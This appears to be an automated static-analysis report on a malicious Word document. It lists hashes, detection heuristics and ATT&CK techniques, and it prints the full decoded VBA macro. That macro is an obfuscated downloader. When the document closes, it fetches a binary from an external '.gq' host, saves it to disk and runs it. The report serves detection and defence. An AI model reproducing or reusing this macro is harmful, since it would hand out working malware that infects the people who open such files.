Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f79c9e3d87825caf…

MALICIOUS

Office (OLE)

163.0 KB Created: 2016-06-27 13:39:00 Authoring application: Microsoft Office Word First seen: 2018-06-19
MD5: 5d02b6f194cdd892979745b804d7f605 SHA-1: d6ca654d50e8344a77610163952c166eae2d436c SHA-256: f79c9e3d87825cafc0f73174e8ee387ed7f02e129dd0b8c8d132bb01b5e91a5b
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro explicitly uses CreateObject to instantiate WScript.Shell and microsoft.xmlhttp, indicating it will download and execute a payload. The script attempts to download a file from 'http://l.gq/jagg/jagg.bin' and save it as 'C:\Users\Public\W.bin', which is then likely executed. The presence of WScript.Shell and the download/execute pattern strongly suggest a downloader functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6923444-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923444-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    PfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqR = CreateObject("WScript.Shell").Specialfolders(7) + glVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHR
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    glVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHq = zrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDeEPJcK.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set kkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqE = CreateObject("Shell.Application")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5381 bytes
SHA-256: 46c4e5a9c9f94bb8694b063164819d9a0c7252ed8da2282160c3b41eaeb6ec9d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
Set kkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqE = CreateObject("Shell.Application")
Set zrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDeEPJcK = CreateObject("microsoft.xmlhttp")
Set EPJcKhQciepGVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtvEcImCjpIQFlhh = CreateObject("adodb.stream")
glVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHR = uGWXtvEcImCjpIQFlhhglVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxw("\WÚØ¥Ú¶Wá.ÂÛÂ")
sMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDe = uGWXtvEcImCjpIQFlhhglVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxw("hÖÖÓ://lÀÖvÄÀdÙdÂ.gq/jÄggÀ/jÄggÀ.ÂÛÂ")

PfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqR = CreateObject("WScript.Shell").Specialfolders(7) + glVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHR
zrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDeEPJcK.Open "GET", sMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDe, False
zrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDeEPJcK.send
glVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHq = zrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDeEPJcK.responseBody
If zrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDeEPJcK.Status = 200 Then
EPJcKhQciepGVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtvEcImCjpIQFlhh.Open
EPJcKhQciepGVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtvEcImCjpIQFlhh.Type = 1
EPJcKhQciepGVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtvEcImCjpIQFlhh.Write glVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHq
EPJcKhQciepGVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtvEcImCjpIQFlhh.SaveToFile PfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqR, 2
EPJcKhQciepGVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtvEcImCjpIQFlhh.Close
End If
kkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqE.Open (PfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqR)


End Sub

    Public Function uGWXtvEcImCjpIQFlhhglVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxw(BmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUD)
        ZnOjNmDeEPJcKhQciepGVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtv = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        EcImCjpIQFlhhglVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrP = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(BmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUD)
            fXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDeEPJcKhQciep = InStr(ZnOjNmDeEPJcKhQciepGVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtv, Mid(BmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUD, i, 1))
            If fXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDeEPJcKhQciep > 0 Then
                GVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtvEcImCjpIQFlhhglVOVAbMdgjbzdHrnc = Mid(EcImCjpIQFlhhglVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrP, fXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUDQqqRZnOjNmDeEPJcKhQciep, 1)
                wmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZN = wmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZN + GVdfoLGkmSYsApUQQOTFLSkKJZPSKjMrpWLgVMblTTGGiqDfzeCTgURLebyisyuGWXtvEcImCjpIQFlhhglVOVAbMdgjbzdHrnc
            Else
                wmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZN = wmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZN + Mid(BmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZNXvqTUBVbjYENOMRpvChutJMPHgvoYGIdFKXUD, i, 1)
            End If
        Next
        uGWXtvEcImCjpIQFlhhglVOVAbMdgjbzdHrncwmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxw = wmdrBkkWJlHTiPhSWwlicurOkIOKWZoJLUfZCSlFYSIoxxwBmfmQedtwzrPfXHqsMpuHRnAoZBXWygxjnNnysKIfAYRNYqEZN
    End Function

Attribute VB_Name = "NewMacros"
Sub abcd()
'
' abcd Macro
'
'

End Sub

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